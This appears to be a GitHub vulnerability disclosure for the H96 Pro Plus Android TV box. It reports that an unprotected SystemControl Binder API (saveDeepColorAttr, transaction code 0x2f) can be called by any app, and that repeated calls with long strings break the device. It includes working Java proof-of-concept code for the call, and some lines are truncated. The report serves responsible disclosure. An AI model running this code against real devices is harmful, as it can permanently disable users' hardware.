master

TVBoxBugs / H96_Pro_Plus_SmartTV_Vulnerability

helloworldxp Create H96_Pro_Plus_SmartTV_Vulnerability History

1 contributor

41 lines (18 sloc) | 1.82 KB

```
[Vulnerability in H96 Pro Plus Smart TV Box]

I would like to report a security vulnerability in H96 Smart TV Box ( specs: H96 Pro Plus Smart TV Box Android 7.1 2gb/16gb Amlogic S912 Octa Core 1000M LAN 3D 4K Mini PC Streaming

The vulnerability allows to totally break down the device after invoking an API with certain parameters for large number of times (>10000). After repeated invocation, the invocatic

We suspect the vulnerability spans other Amlogic devices that contains the same vulnerable API.



This vulnerability is due to the following:

The device introduces a custom API in the SystemControl system service “saveDeepColorAttr”” which takes 2 string arguments. The API is not protected at all, thus can be invoked by

We can cause the problem by invoking the following method repeatedly:



Class ServiceManager = Class.forName("android.os.ServiceManager");

Method getService = ServiceManager.getMethod("getService", String.class);

mRemote = (IBinder) getService.invoke(null,"system_control");

Parcel localParcel1 = Parcel.obtain();

Parcel localParcel2 = Parcel.obtain();

localParcel1.writeInterfaceToken("droidlogic.ISystemControlService");

localParcel1.writeString("1080p60hz");


localParcel1.writeString("RandomlyLongString");

mRemote.transact(0x2f, localParcel1, localParcel2, 0);  //0x2f corresponds to the API saveDeepColorAttr

localParcel2.recycle();

localParcel1.recycle();
```